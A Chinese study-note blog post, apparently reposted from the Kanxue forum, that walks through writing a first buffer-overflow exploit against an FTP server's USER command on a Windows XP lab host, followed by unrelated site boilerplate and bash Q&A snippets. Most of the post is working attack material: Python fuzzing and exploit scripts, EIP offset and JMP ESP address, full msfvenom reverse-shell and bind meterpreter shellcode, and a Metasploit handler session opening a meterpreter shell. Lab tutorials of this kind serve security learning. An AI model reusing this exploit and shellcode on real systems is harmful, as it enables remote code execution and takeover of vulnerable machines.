看雪学习笔记-[原创]编写第一个Exploit

2023-11-08

学习:

https://bbs.kanxue.com/thread-226970.htm?source=1

Immunity Debugger:https://debugger.immunityinc.com/ID_register.py

mona:https://github.com/corelan/mona
pykd:http://pykd.codeplex.com/releases/view/119220
windbglib:https://raw.githubusercontent.com/corelan/windbglib/master/windbglib.py

image-20230327152250970

image-20230327152316042

image-20230327152912779

import socket
buffer = "A"*1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.135",55))
s.send("USER " +buffer+"\r\n")


image-20230328094535878

image-20230327164256243

┌──(kwkl㉿kwkl)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 1000    
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

import socket
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.135",21))
s.send("USER " +buffer+"\r\n")


┌──(kwkl㉿kwkl)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 321714131
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 485 (adjusted [ little-endian: 12599689216 | big-endian: 12619599871 ] ) byte offset 3

定位到了,EIP的地址为偏移的485个。

image-20230328095349693

32714131

image-20230328100207317

42424242

image-20230328100249799

寻找系统的jmp esp的地址,jmp esp的机器码是0xffe4

使用mona插件。!mona modules -m shell32.dll

这边使用shell32.dll的地址,寻找jmp esp的值。

image-20230328102120767

image-20230328103442308

image-20230328103517762

77F8B227 FFE4 JMP ESP

memory address 77F8B227

“\x27\xB2\xF8\x77”

┌──(kwkl㉿kwkl)-[~/HODL/exp]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.140 LPORT=8999 -b '\x00\x0d\x0a\x40\x20'   -f python                                                               2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1745 bytes
buf =  b""
buf += b"\xbb\xa3\xfc\xc8\xcf\xda\xd3\xd9\x74\x24\xf4\x5a"
buf += b"\x2b\xc9\xb1\x52\x31\x5a\x12\x03\x5a\x12\x83\x61"
buf += b"\xf8\x2a\x3a\x99\xe9\x29\xc5\x61\xea\x4d\x4f\x84"
buf += b"\xdb\x4d\x2b\xcd\x4c\x7e\x3f\x83\x60\xf5\x6d\x37"
buf += b"\xf2\x7b\xba\x38\xb3\x36\x9c\x77\x44\x6a\xdc\x16"
buf += b"\xc6\x71\x31\xf8\xf7\xb9\x44\xf9\x30\xa7\xa5\xab"
buf += b"\xe9\xa3\x18\x5b\x9d\xfe\xa0\xd0\xed\xef\xa0\x05"
buf += b"\xa5\x0e\x80\x98\xbd\x48\x02\x1b\x11\xe1\x0b\x03"
buf += b"\x76\xcc\xc2\xb8\x4c\xba\xd4\x68\x9d\x43\x7a\x55"
buf += b"\x11\xb6\x82\x92\x96\x29\xf1\xea\xe4\xd4\x02\x29"
buf += b"\x96\x02\x86\xa9\x30\xc0\x30\x15\xc0\x05\xa6\xde"
buf += b"\xce\xe2\xac\xb8\xd2\xf5\x61\xb3\xef\x7e\x84\x13"
buf += b"\x66\xc4\xa3\xb7\x22\x9e\xca\xee\x8e\x71\xf2\xf0"
buf += b"\x70\x2d\x56\x7b\x9c\x3a\xeb\x26\xc9\x8f\xc6\xd8"
buf += b"\x09\x98\x51\xab\x3b\x07\xca\x23\x70\xc0\xd4\xb4"
buf += b"\x77\xfb\xa1\x2a\x86\x04\xd2\x63\x4d\x50\x82\x1b"
buf += b"\x64\xd9\x49\xdb\x89\x0c\xdd\x8b\x25\xff\x9e\x7b"
buf += b"\x86\xaf\x76\x91\x09\x8f\x67\x9a\xc3\xb8\x02\x61"
buf += b"\x84\xcc\xd8\x63\xd8\xb9\xde\x73\xc3\x1e\x56\x95"
buf += b"\x69\x71\x3e\x0e\x06\xe8\x1b\xc4\xb7\xf5\xb1\xa1"
buf += b"\xf8\x7e\x36\x56\xb6\x76\x33\x44\x2f\x77\x0e\x36"
buf += b"\xe6\x88\xa4\x5e\x64\x1a\x23\x9e\xe3\x07\xfc\xc9"
buf += b"\xa4\xf6\xf5\x9f\x58\xa0\xaf\xbd\xa0\x34\x97\x05"
buf += b"\x7f\x85\x16\x84\xf2\xb1\x3c\x96\xca\x3a\x79\xc2"
buf += b"\x82\x6c\xd7\xbc\x64\xc7\x99\x16\x3f\xb4\x73\xfe"
buf += b"\xc6\xf6\x43\x78\xc7\xd2\x35\x64\x76\x8b\x03\x9b"
buf += b"\xb7\x5b\x84\xe4\xa5\xfb\x6b\x3f\x6e\x0b\x26\x1d"
buf += b"\xc7\x84\xef\xf4\x55\xc9\x0f\x23\x99\xf4\x93\xc1"
buf += b"\x62\x03\x8b\xa0\x67\x4f\x0b\x59\x1a\xc0\xfe\x5d"
buf += b"\x89\xe1\x2a"



import socket
buf =  b""
buf += b"\xbb\xa3\xfc\xc8\xcf\xda\xd3\xd9\x74\x24\xf4\x5a"
buf += b"\x2b\xc9\xb1\x52\x31\x5a\x12\x03\x5a\x12\x83\x61"
buf += b"\xf8\x2a\x3a\x99\xe9\x29\xc5\x61\xea\x4d\x4f\x84"
buf += b"\xdb\x4d\x2b\xcd\x4c\x7e\x3f\x83\x60\xf5\x6d\x37"
buf += b"\xf2\x7b\xba\x38\xb3\x36\x9c\x77\x44\x6a\xdc\x16"
buf += b"\xc6\x71\x31\xf8\xf7\xb9\x44\xf9\x30\xa7\xa5\xab"
buf += b"\xe9\xa3\x18\x5b\x9d\xfe\xa0\xd0\xed\xef\xa0\x05"
buf += b"\xa5\x0e\x80\x98\xbd\x48\x02\x1b\x11\xe1\x0b\x03"
buf += b"\x76\xcc\xc2\xb8\x4c\xba\xd4\x68\x9d\x43\x7a\x55"
buf += b"\x11\xb6\x82\x92\x96\x29\xf1\xea\xe4\xd4\x02\x29"
buf += b"\x96\x02\x86\xa9\x30\xc0\x30\x15\xc0\x05\xa6\xde"
buf += b"\xce\xe2\xac\xb8\xd2\xf5\x61\xb3\xef\x7e\x84\x13"
buf += b"\x66\xc4\xa3\xb7\x22\x9e\xca\xee\x8e\x71\xf2\xf0"
buf += b"\x70\x2d\x56\x7b\x9c\x3a\xeb\x26\xc9\x8f\xc6\xd8"
buf += b"\x09\x98\x51\xab\x3b\x07\xca\x23\x70\xc0\xd4\xb4"
buf += b"\x77\xfb\xa1\x2a\x86\x04\xd2\x63\x4d\x50\x82\x1b"
buf += b"\x64\xd9\x49\xdb\x89\x0c\xdd\x8b\x25\xff\x9e\x7b"
buf += b"\x86\xaf\x76\x91\x09\x8f\x67\x9a\xc3\xb8\x02\x61"
buf += b"\x84\xcc\xd8\x63\xd8\xb9\xde\x73\xc3\x1e\x56\x95"
buf += b"\x69\x71\x3e\x0e\x06\xe8\x1b\xc4\xb7\xf5\xb1\xa1"
buf += b"\xf8\x7e\x36\x56\xb6\x76\x33\x44\x2f\x77\x0e\x36"
buf += b"\xe6\x88\xa4\x5e\x64\x1a\x23\x9e\xe3\x07\xfc\xc9"
buf += b"\xa4\xf6\xf5\x9f\x58\xa0\xaf\xbd\xa0\x34\x97\x05"
buf += b"\x7f\x85\x16\x84\xf2\xb1\x3c\x96\xca\x3a\x79\xc2"
buf += b"\x82\x6c\xd7\xbc\x64\xc7\x99\x16\x3f\xb4\x73\xfe"
buf += b"\xc6\xf6\x43\x78\xc7\xd2\x35\x64\x76\x8b\x03\x9b"
buf += b"\xb7\x5b\x84\xe4\xa5\xfb\x6b\x3f\x6e\x0b\x26\x1d"
buf += b"\xc7\x84\xef\xf4\x55\xc9\x0f\x23\x99\xf4\x93\xc1"
buf += b"\x62\x03\x8b\xa0\x67\x4f\x0b\x59\x1a\xc0\xfe\x5d"
buf += b"\x89\xe1\x2a"



print(buf)

buffer="A"*485+"\x27\xB2\xF8\x77"+(1000-489-341)*"C"+buf
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.135",21))
s.send("USER " +buffer+"\r\n")


get the cmd!

image-20230328153851403

Try to use meterpreter

──(kwkl㉿kwkl)-[~/HODL/exp]
└─$ msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.140 LPORT=8999 -b '\x00\x0d\x0a\x40\x20'   -f python                                                            2 ⨯
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 353 (iteration=0)
x86/shikata_ga_nai chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1753 bytes
buf =  b""
buf += b"\xda\xd4\xd9\x74\x24\xf4\xbb\xa6\x16\x37\x95\x5a"
buf += b"\x29\xc9\xb1\x52\x31\x5a\x19\x03\x5a\x19\x83\xea"
buf += b"\xfc\x44\xe3\xcb\x7d\x07\x0c\x34\x7e\x77\x84\xd1"
buf += b"\x4f\xa5\xf2\x92\xe2\x79\x70\xf6\x0e\xf2\xd4\xe3"
buf += b"\x3f\xfb\x52\x79\x68\x0c\xd2\x34\x4e\x23\xdc\x65"
buf += b"\xb2\x22\xa0\x77\xe7\x84\x99\xb7\xfa\xc5\xde\x01"
buf += b"\x70\x2a\xb2\xc6\xf1\xe6\x23\x62\x47\x3a\x45\xa4"
buf += b"\xc3\x02\x3d\xc1\x14\xf6\xf1\xc8\x44\xa6\x82\x93"
buf += b"\x44\x47\x46\xa8\xcd\x5f\xed\x66\xb9\x63\xa4\xf3"
buf += b"\x76\x10\x37\xd2\x46\xd9\x09\x1a\x04\xe4\xa5\x97"
buf += b"\x54\x21\x01\x48\x23\x59\x71\xf5\x34\x9a\x0b\x21"
buf += b"\xb0\x3c\xab\xa2\x62\x98\x4d\x66\xf4\x6b\x41\xc3"
buf += b"\x72\x33\x46\xd2\x57\x48\x72\x5f\x56\x9e\xf2\x1b"
buf += b"\x7d\x3a\x5e\xff\x1c\x1b\x3a\xae\x21\x7b\xe2\x0f"
buf += b"\x84\xf0\x01\x59\xb8\xf9\xd9\x66\xe4\x6d\x15\xab"
buf += b"\x17\x6d\x31\xbc\x64\x5f\x9e\x16\xe3\xd3\x57\xb1"
buf += b"\xf4\x14\x42\x05\x6a\xeb\x6d\x76\xa2\x2f\x39\x26"
buf += b"\xdc\x86\x42\xad\x1c\x27\x97\x58\x16\x8e\x48\x7f"
buf += b"\xd5\x5a\x68\x15\x24\xf2\x80\xe6\xf7\xe2\xaa\x2c"
buf += b"\x90\x8a\x56\xcf\xbc\x6d\xde\x29\xa8\x61\xb6\xe2"
buf += b"\x45\x43\xed\x3a\xf1\xbc\xc7\xc0\x3d\x4d\x6d\x92"
buf += b"\xbd\x51\x6d\x74\xd6\xe6\x84\x42\xd9\xf7\x82\xe4"
buf += b"\x4d\x73\xc1\x30\x6f\x84\xcc\x10\xf8\x12\x9a\xf0"
buf += b"\x4b\x83\x9b\xd8\x3e\x43\x0e\xe7\xe8\x14\xa6\xe5"
buf += b"\xcd\x52\x69\x15\x38\xe1\x6e\xe9\xbd\xc8\x05\xdc"
buf += b"\x2b\x52\x72\x21\xbc\x52\x82\x77\xd6\x52\xea\x2f"
buf += b"\x82\x01\x0f\x30\x1f\x36\x9c\xa5\xa0\x6e\x70\x6d"
buf += b"\xc9\x8c\xaf\x59\x56\x6f\x9a\xd9\x91\x8f\x5b\xd9"
buf += b"\x60\x4c\x8a\x23\x17\xbb\x0e\x10\x28\x8e\x33\x31"
buf += b"\xa3\xf0\x60\x41\xe6"
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/exp]
└─$ 



msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 8999
lport => 8999
msf6 exploit(multi/handler) > set lhost 10.10.10.140
lhost => 10.10.10.140
msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_
set payload windows/meterpreter/bind_hidden_ipknock_tcp  set payload windows/meterpreter/bind_ipv6_tcp_uuid       set payload windows/meterpreter/bind_tcp
set payload windows/meterpreter/bind_hidden_tcp          set payload windows/meterpreter/bind_named_pipe          set payload windows/meterpreter/bind_tcp_rc4
set payload windows/meterpreter/bind_ipv6_tcp            set payload windows/meterpreter/bind_nonx_tcp            set payload windows/meterpreter/bind_tcp_uuid
msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against :8999


sysinfo



id
net user
^C[-] Exploit failed [user-interrupt]: Interrupt 
[-] run: Interrupted
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     8999             yes       The listen port
   RHOST                      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set rhost 10.10.10.135
rhost => 10.10.10.135
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 10.10.10.135:8999
[*] Sending stage (175686 bytes) to 10.10.10.135
[*] Meterpreter session 1 opened (10.10.10.140:33161 -> 10.10.10.135:8999) at 2023-03-28 15:54:31 +0800

meterpreter > sysinfo
Computer        : ZHIPENG-1417100
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > 

import socket
buf =  b""
buf += b"\xda\xd4\xd9\x74\x24\xf4\xbb\xa6\x16\x37\x95\x5a"
buf += b"\x29\xc9\xb1\x52\x31\x5a\x19\x03\x5a\x19\x83\xea"
buf += b"\xfc\x44\xe3\xcb\x7d\x07\x0c\x34\x7e\x77\x84\xd1"
buf += b"\x4f\xa5\xf2\x92\xe2\x79\x70\xf6\x0e\xf2\xd4\xe3"
buf += b"\x3f\xfb\x52\x79\x68\x0c\xd2\x34\x4e\x23\xdc\x65"
buf += b"\xb2\x22\xa0\x77\xe7\x84\x99\xb7\xfa\xc5\xde\x01"
buf += b"\x70\x2a\xb2\xc6\xf1\xe6\x23\x62\x47\x3a\x45\xa4"
buf += b"\xc3\x02\x3d\xc1\x14\xf6\xf1\xc8\x44\xa6\x82\x93"
buf += b"\x44\x47\x46\xa8\xcd\x5f\xed\x66\xb9\x63\xa4\xf3"
buf += b"\x76\x10\x37\xd2\x46\xd9\x09\x1a\x04\xe4\xa5\x97"
buf += b"\x54\x21\x01\x48\x23\x59\x71\xf5\x34\x9a\x0b\x21"
buf += b"\xb0\x3c\xab\xa2\x62\x98\x4d\x66\xf4\x6b\x41\xc3"
buf += b"\x72\x33\x46\xd2\x57\x48\x72\x5f\x56\x9e\xf2\x1b"
buf += b"\x7d\x3a\x5e\xff\x1c\x1b\x3a\xae\x21\x7b\xe2\x0f"
buf += b"\x84\xf0\x01\x59\xb8\xf9\xd9\x66\xe4\x6d\x15\xab"
buf += b"\x17\x6d\x31\xbc\x64\x5f\x9e\x16\xe3\xd3\x57\xb1"
buf += b"\xf4\x14\x42\x05\x6a\xeb\x6d\x76\xa2\x2f\x39\x26"
buf += b"\xdc\x86\x42\xad\x1c\x27\x97\x58\x16\x8e\x48\x7f"
buf += b"\xd5\x5a\x68\x15\x24\xf2\x80\xe6\xf7\xe2\xaa\x2c"
buf += b"\x90\x8a\x56\xcf\xbc\x6d\xde\x29\xa8\x61\xb6\xe2"
buf += b"\x45\x43\xed\x3a\xf1\xbc\xc7\xc0\x3d\x4d\x6d\x92"
buf += b"\xbd\x51\x6d\x74\xd6\xe6\x84\x42\xd9\xf7\x82\xe4"
buf += b"\x4d\x73\xc1\x30\x6f\x84\xcc\x10\xf8\x12\x9a\xf0"
buf += b"\x4b\x83\x9b\xd8\x3e\x43\x0e\xe7\xe8\x14\xa6\xe5"
buf += b"\xcd\x52\x69\x15\x38\xe1\x6e\xe9\xbd\xc8\x05\xdc"
buf += b"\x2b\x52\x72\x21\xbc\x52\x82\x77\xd6\x52\xea\x2f"
buf += b"\x82\x01\x0f\x30\x1f\x36\x9c\xa5\xa0\x6e\x70\x6d"
buf += b"\xc9\x8c\xaf\x59\x56\x6f\x9a\xd9\x91\x8f\x5b\xd9"
buf += b"\x60\x4c\x8a\x23\x17\xbb\x0e\x10\x28\x8e\x33\x31"
buf += b"\xa3\xf0\x60\x41\xe6"




print(len(buf))

buffer="A"*485+"\x27\xB2\xF8\x77"+(1000-489-343)*"C"+buf
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.135",21))
s.send("USER " +buffer+"\r\n")


image-20230328160012842

参考:https://blog.51cto.com/xxc2w/5905682

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

看雪学习笔记-[原创]编写第一个Exploit 的相关文章

  • 如何删除名称最大的目录?

    我有一个包含子目录的目录 其中一些名称是数字 不看的话 我不知道数字是多少 如何删除名称最大的子目录 我认为解决方案可能会将子目录按相反顺序排序 并选择以数字开头的第一个子目录 但我不知道该怎么做 感谢您的帮助 cd yourdir go
  • 使用 SED 将单词的第一个字母大写

    如何将单词的第一个字母替换为大写字母 例如 Trouble me Gold rush brides into Trouble Me Gold Rush Brides 这一行应该做到这一点 sed e s b u 1 g
  • 禁用 Psql 输出中的换行

    在 Linux 中使用 Psql 时 如果 SQL 查询的结果包含许多列或长字符串数据 它将包装初始视图 只有当我滚动到一侧时 它才会停止包装并在单独的行上显示每一行 我尝试过各种 pset options https www postgr
  • 使用 awk 处理多个文件

    我必须使用 awk 处理大量 txt 文件 每个文件 1600 万行 我必须阅读例如十个文件 File 1 en sample 1 200 en n sample 2 10 en sample 3 10 File 2 en sample 1
  • 路径中的波形符不会扩展到主目录

    假设我有一个名为Foo位于 home user my home user也代表为 我想要一个变量 a Foo 然后做 cd a I get bash cd Foo No such file or directory 但是如果我这样做cd F
  • 在 bash 脚本中设置变量[重复]

    这个问题在这里已经有答案了 test sh 包含 A 1 B 2 我将 test sh 设置为 chmod 777 我用两个参数启动脚本 test sh first last 然后我通过输入以下内容对其进行了测试 echo FirstVar
  • seq 使用逗号作为小数点分隔符

    我注意到一个奇怪的现象seq我的一台计算机 Ubuntu LTS 14 04 上的行为 不是使用点作为小数点分隔符 而是使用逗号 seq 0 0 1 0 2 0 0 0 1 0 2 我的另一台 PC 上相同版本的 seq 8 21 给出了正
  • 如何通过命令行选项加载不同的 zshrc 文件?

    我以前用 bash 这样做过 bin bash rcfile home sindhu bin misc scripts shellrc bashrc 1 我怎样才能用 zsh 完成同样的事情 谢谢 您可以使用以下方法来近似该功能ZDOTDI
  • “bash -c 命令参数”末尾的参数的目的是什么?

    From man bash If the c option is present then commands are read from the first non option argument command string If the
  • 如果文件没有行尾字符,则 wc -l 不计算文件的最后一个

    我需要计算 unix 文件的所有行数 该文件有 3 行 但是wc l仅给出 2 个计数 我知道它不计算最后一行 因为它没有行尾字符 任何人都可以告诉我如何计算这一行吗 grep c返回匹配行的数量 只需使用一个空字符串 作为您的匹配表达式
  • 在 MacOS 上重新启动终端而不关闭

    如何在不关闭窗口的情况下重新启动当前的 MacOS 终端会话 在Linux中我使用exec bash但在这种环境下它不起作用 我对 bash profile 提示 别名等 我想在不关闭它并再次打开的情况下查看 只需输入命令 exec bas
  • Jenkins 文本参数 - 特殊字符乱码(不需要的变量替换)

    我在 Jenkins Linux 下 有一份工作构建参数 https wiki jenkins ci org display JENKINS Parameterized Build类型为 文本 我使用参数来形成在构建过程中使用的文件的内容
  • 如何通过 makefile 在 Linux 上安装程序? [复制]

    这个问题在这里已经有答案了 可能的重复 Linux Unix make install 应该包含什么 https stackoverflow com questions 528399 what should linux unix make
  • 如何将一个文本文件拆分为多个 *.txt 文件?

    我有一个文本文件file txt 12 MB 包含 something1 something2 something3 something4 有没有办法分开file txt分成 12 个 txt 文件 比方说file2 txt file3 t
  • 在 Bash 中获取 Mac OS X 上正在运行的应用程序列表? [关闭]

    Closed 这个问题是无关 help closed questions 目前不接受答案 是否可以使用 Bash 获取正在运行的应用程序列表 我不是在谈论进程 而是在 Dock 中的应用程序 以及菜单栏中的应用程序也很好 osascript
  • bash 将输出重定向到文件,但结果不完整

    重定向命令输出的问题已经被问过很多次了 但是我有一个奇怪的行为 我使用的是 bash shell debian 版本 4 3 30 1 release 并尝试将输出重定向到文件 但并非所有内容都记录在文件中 我尝试运行的 bin 文件是 l
  • 用于编译和运行 C++ 的 bash 脚本

    我正在尝试进入 C 但必须使用冗长的命令通过命令行运行东西很烦人 所以我想制作一个 bash 脚本来简化过程并运行这些命令 bin bash if 1 start then cd CCPP cd HelloWorld g Wall W We
  • 将 JSON 导出到环境变量

    如果我有这样的 JSON hello1 world1 testk testv 我想将每个键值对导出为环境变量 如何通过 shell 脚本来做到这一点 例如 当我在终端上写时 echo hello1 world1应该打印其他键值对吗 注意 上
  • 比较两个文件的单列

    我有两个文件 每个文件都有两列 并用空格分隔 我想找到两个文件中第 2 列不相同的行 并将它们输出到第三个文件 file A 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 2 BBBBBBBBBBBBBBBBBBBBBB
  • Bash:递归复制命名文件,保留文件夹结构

    我希望 cp R src prog js images icon jpg tmp package 将在目标目录中产生对称结构 tmp package src prog js images icon jpg 但相反 这两个文件都被复制到 tm

随机推荐